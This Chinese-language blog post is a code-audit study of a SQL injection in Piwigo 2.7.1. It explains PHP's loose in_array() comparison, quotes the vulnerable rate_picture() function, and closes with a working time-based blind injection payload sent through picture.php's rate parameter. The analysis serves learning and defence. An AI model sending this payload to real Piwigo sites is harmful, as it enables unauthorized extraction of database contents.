最近在看红日安全的PHP-Audit-Labs项目,这个项目每篇文章都会有对应的cms实例,感觉对代码审计的初学者来说还是很不错的

简单写下自己对Day1 中piwigo2.7.1 sql注入的分析

基础知识

  • php 的in_array函数
    1
    in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool

    大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。

如果第三个参数 strict 的值为 TRUE 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同

  • 如果不设置strict的话很容易出现弱类型导致的安全问题

漏洞分析

该漏洞位于/include/function_rate.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/**
* Rate a picture by the current user.
*
* @param int $image_id
* @param float $rate
* @return array as return by update_rating_score()
*/
function rate_picture($image_id, $rate)
{
global $conf, $user;

if (!isset($rate)
or !$conf['rate']
or !in_array($rate, $conf['rate_items']))
{
return false;
}

$user_anonymous = is_autorize_status(ACCESS_CLASSIC) ? false : true;

if ($user_anonymous and !$conf['rate_anonymous'])
{
return false;
}

$ip_components = explode('.', $_SERVER["REMOTE_ADDR"]);
if (count($ip_components) > 3)
{
array_pop($ip_components);
}
$anonymous_id = implode ('.', $ip_components);

if ($user_anonymous)
{
$save_anonymous_id = pwg_get_cookie_var('anonymous_rater', $anonymous_id);

if ($anonymous_id != $save_anonymous_id)
{ // client has changed his IP adress or he's trying to fool us
$query = '
SELECT element_id
FROM '.RATE_TABLE.'
WHERE user_id = '.$user['id'].'
AND anonymous_id = \''.$anonymous_id.'\'
;';
$already_there = array_from_query($query, 'element_id');

if (count($already_there) > 0)
{
$query = '
DELETE
FROM '.RATE_TABLE.'
WHERE user_id = '.$user['id'].'
AND anonymous_id = \''.$save_anonymous_id.'\'
AND element_id IN ('.implode(',', $already_there).')
;';
pwg_query($query);
}

$query = '
UPDATE '.RATE_TABLE.'
SET anonymous_id = \'' .$anonymous_id.'\'
WHERE user_id = '.$user['id'].'
AND anonymous_id = \'' . $save_anonymous_id.'\'
;';
pwg_query($query);
} // end client changed ip

pwg_set_cookie_var('anonymous_rater', $anonymous_id);
} // end anonymous user

$query = '
DELETE
FROM '.RATE_TABLE.'
WHERE element_id = '.$image_id.'
AND user_id = '.$user['id'].'
';
if ($user_anonymous)
{
$query.= ' AND anonymous_id = \''.$anonymous_id.'\'';
}
pwg_query($query);
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);

return update_rating_score($image_id);
}
  • 该函数用于给图片评分,因此限制了分数$rate只能是$conf[‘rate_items’]中的值
    1
    2
    3
    //include/config_default.inc.php
    // rate_items: available rates for a picture
    $conf['rate_items'] = array(0,1,2,3,4,5);
    1
    2
    3
    4
    5
    6
    7
    //include/functions_rate.inc.php
    if (!isset($rate)
    or !$conf['rate']
    or !in_array($rate, $conf['rate_items']))
    {
    return false;
    }
  • 但是这里的in_array()没有设置第三个参数,因此像1abc这样以数字开头的字符串会返回True
  • $rate会被代入sql语句中执行,造成sql注入
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    $query = '
    INSERT
    INTO '.RATE_TABLE.'
    (user_id,anonymous_id,element_id,rate,date)
    VALUES
    ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
    ;';
    pwg_query($query);

漏洞入口点

全局搜索可以发现有两个地方调用了rate_picture:

1
2
3
4
//picture.php
rate_picture($page['image_id'], $_POST['rate']);
//include/ws_function/pwg.images.php
$res = rate_picture($params['image_id'], (int)$params['rate']);
  • pwg.images.php进行了强制类型转换,因此无法利用
  • 只能利用picture.php
    1
    2
    3
    4
    5
    6
    case 'rate' :
    {
    include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
    rate_picture($page['image_id'], $_POST['rate']);
    redirect($url_self);
    }
  • 要注意的是执行rate_picture后会调用redirect跳转到别的页面,因此只能利用基于时间的盲注
  • 最后的exp:
    1
    2
    /piwigo/picture.php?/1/category/1&action=rate
    post: rate=1 and if(ascii(substr(user(),1,1))=114,sleep(5),null)
    piwigo有全局的addslashes过滤,因此不能使用单引号等字符